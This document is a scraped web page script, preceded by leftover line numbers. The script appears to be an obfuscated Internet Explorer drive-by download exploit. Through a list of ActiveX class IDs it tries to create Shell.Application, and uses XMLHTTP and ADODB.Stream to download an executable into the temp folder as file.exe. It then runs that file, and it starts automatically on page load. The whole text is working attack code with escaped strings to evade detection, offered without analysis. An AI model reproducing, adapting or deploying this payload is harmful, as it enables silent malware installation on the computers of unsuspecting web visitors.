script function CreateO var null try CreateObject catch if try CreateO

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<script>
function CreateO(o, n)
{
var r = null;
try {r = o.CreateObject(n)} catch (e){}
if (!r){ try {r = o.CreateObject(n, "")}catch (e){}}
if (!r){ try {r = o.CreateObject(n, "", "")}catch (e){}}
if (!r){ try {r = o.GetObject("", n)}catch (e){}}
if (!r){ try {r = o.GetObject(n, "")}catch (e){}}
if (!r){ try {r = o.GetObject(n)}catch (e){}}
return(r);
}
function Go(a)
{
fname = "\u0066il\u0065.e\170e";
var exeurl = document.location + "?\145";
var fso = a.CreateObject("Scrip\164ing.Fi\u006ceS\171stem\117bj\u0065c\u0074", "");
var sap = CreateO(a, "S\150e\u006cl.App\154\u0069ca\u0074ion");
var x = CreateO(a, "A\104O\u0044\102.Stre\u0061m");
var nl = null;
fname = fso.BuildPath(fso.GetSpecialFolder(2), fname);
x.Mode = 3;
try
{
nl = CreateO(a, "Micr" + "\u006fs\157\u0066t.\u0058M\114H" + "T\u0054\120");
nl.open("G\u0045\u0054", exeurl, false);
}
catch (e)
{
try
{
nl = CreateO(a, "\115S\130M\114\u0032.XMLH\u0054T\u0050");
nl.open("\u0047E\u0054", exeurl, false);
}
catch (e)
{
try
{
nl = CreateO(a, "\u004d\123XM\1142.\u0053\145rv\145rXML\u0048TTP");
nl.open("G\105\u0054", exeurl, false);
}
catch (e)
{
try
{
nl = new XMLHttpRequest();
nl.open("\u0047ET", exeurl, false);
}
catch (e)
{
return 0;
}
}
}
}
x.Type = 1;
nl.send(null);
rb = nl.responseBody;
x.Open();
x.Write(rb);
x.SaveTofile(fname, 2);
sap.ShellExecute(fname);
return 1;
}
function mdac()
{
var i = 0;
var target =
new Array(
"B\1049\u0036\u0043\u0035\u0035\066\u002d\u00365\101\u0033-\061\061\u00440\u002d9\u0038\u0033A-00\u00430\064\u0046C2\071\u00453\u0036",
"\u0042\10496\103\u003556-6\u0035A3-\u0031\061D\060\u002d\u00398\063A\0550\060C0\u0034F\u004329\u00453\u0030",
"\101B9BCEDD-E\1037E\055\u0034\u0037E1-\071\u003322-D4A\062\u0031\u003061\u0037\u0031\u0031\066",
"\u0030\u003006F03\u0033-\060\060\u00300\0550\u0030\0600-C\060\0600-0000\u0030\u00300\u00300046",
"00\u0030\066F0\u0033\101-000\060-\u0030\06000\055\103000-0\u0030\u003000\060\060\060004\u0036",
"\u0036\14532\0607\u0030a-766\144-\u0034\145\u0065\u0036\u002d\07079\143-dc\u0031f\141\0711d2fc\063",
"\0664\u0031451\u0032\102-B\071\u00378\u002d\u003451\u0044-A\u0030\1048-FC\u0046D\u004633\u0045\07033C",
"7F\065B\067F\0663-\106\u0030\u0036\u0046\u002d\06433\u0031\055\070A2\066\055\u00333\071E\u00303\u00430\101\u0045\063D",
"\u0030\066\06723E0\u0039-\u00464C\u0032-\u00343\u0063\u0038\u002d\07035\u0038\u002d09F\u0043D1DB0\u0037\0666",
"\u003639\10672\065F\u002d1B2D-4831-\u0041\u0039F\u0044\0558\u0037484\067\0668\0620\061\060",
"BA0\u00318599-1DB3-44\u00669-\u00383B4\055461\0645\u0034C8\u0034\102F\u0038",
"D\u0030\u004307D56-7C69\u002d43\u00461-\u00424A0-\062\065F5A1\061\106\u0041B19",
"\u0045\u0038\u0043\103CDDF\u002dC\1012\070\u002d\u003496\u0062-\1020\0650\055\066\u0043\u00307C\u0039\u0036\062476B",
null);
while (target[i])
{
var a = null;
a = document.createElement("\157bje\143\u0074");
a.setAttribute("\u0063lass\u0069\u0064", "c\154si\u0064" + unescape('\0453A') + target[i]);
if (a)
{
try
{
var b = CreateO(a, "S\150\u0065ll.Ap\160\u006cica\164\u0069o\u006e");
if (b)
{
if (Go(a))
return 1;
}
}
catch (e)
{
}
}
i++;
}
}
mdac();
</script>